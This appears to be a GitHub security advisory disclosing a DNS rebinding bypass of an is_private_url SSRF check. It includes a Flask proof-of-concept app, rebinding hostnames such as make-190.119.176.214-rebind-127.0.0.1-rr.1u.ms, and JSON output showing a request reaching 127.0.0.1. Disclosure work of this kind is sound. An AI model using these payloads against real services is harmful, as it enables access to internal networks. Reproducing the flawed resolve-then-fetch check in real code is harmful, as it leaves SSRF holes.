GHSA-4jcv-vp96-94xr

Summary

DNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms would be initially resolved to 190.119.176.200 and the next DNS issue to 127.0.0.1. Please notice the following in the latest codebase:

def is_private_url(url: str):
    """
    Raises exception if url is private

    :param url: url to check
    """

    hostname = urlparse(url).hostname
    if not hostname:
        # Unable to find hostname in url
        return True
    ip = socket.gethostbyname(hostname)
    return ipaddress.ip_address(ip).is_private

As you can see, during the call to is_private_url() the initial DNS query would be issued by ip = socket.gethostbyname(hostname) to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one.

PoC

from flask import Flask, request, jsonify
from urllib.parse import urlparse
import socket
import ipaddress
import requests

app = Flask(__name__)


def is_private_url(url: str):
    """
    Raises exception if url is private

    :param url: url to check
    """

    hostname = urlparse(url).hostname
    if not hostname:
        # Unable to find hostname in url
        return True
    ip = socket.gethostbyname(hostname)
    if ipaddress.ip_address(ip).is_private:
        raise Exception(f"Private IP address found for {url}")


@app.route("/", methods=["GET"])
def index():
    return "http://127.0.0.1:5000/check_private_url?url=https://www.google.Fr"


@app.route("/check_private_url", methods=["GET"])
def check_private_url():
    url = request.args.get("url")

    if not url:
        return jsonify({"error": 'Missing "url" parameter'}), 400

    try:
        is_private_url(url)
        response = requests.get(url)

        return jsonify(
            {
                "url": url,
                "is_private": False,
                "text": response.text,
                "status_code": response.status_code,
            }
        )
    except Exception as e:
        return jsonify({"url": url, "is_private": True, "error": str(e)})


if __name__ == "__main__":
    app.run(debug=True)

After running the poc.py with flask installed, consider visiting the following URLs:

1. http://127.0.0.1:5000/checkprivateurl?url=https://www.example.com since it is in the public space, you would get is_private: false and the GET request would be issued to the www.Example.com website.
2. http://127.0.0.1:5000/checkprivateurl?url=http://localhost:8667, this one the address is private, you would get is_private: true
3. http://127.0.0.1:5000/checkprivateurl?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP 190.119.176.214 and then DNS rebind into the network location 127.0.0.1:8667.

I set up a simple HTTP server at 127.0.0.1:8667, you can notice the results of the PoC in the next screenshot:

{
  "is_private": false,
  "status_code": 200,
  "text": "<pre>\n&lt;a href=\"poc.py\">poc.py</a>\n</pre>\n",
  "url": "http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/"
}

Impact

• Bypass the SSRF protection on the whole website with DNS Rebinding.
• DoS too.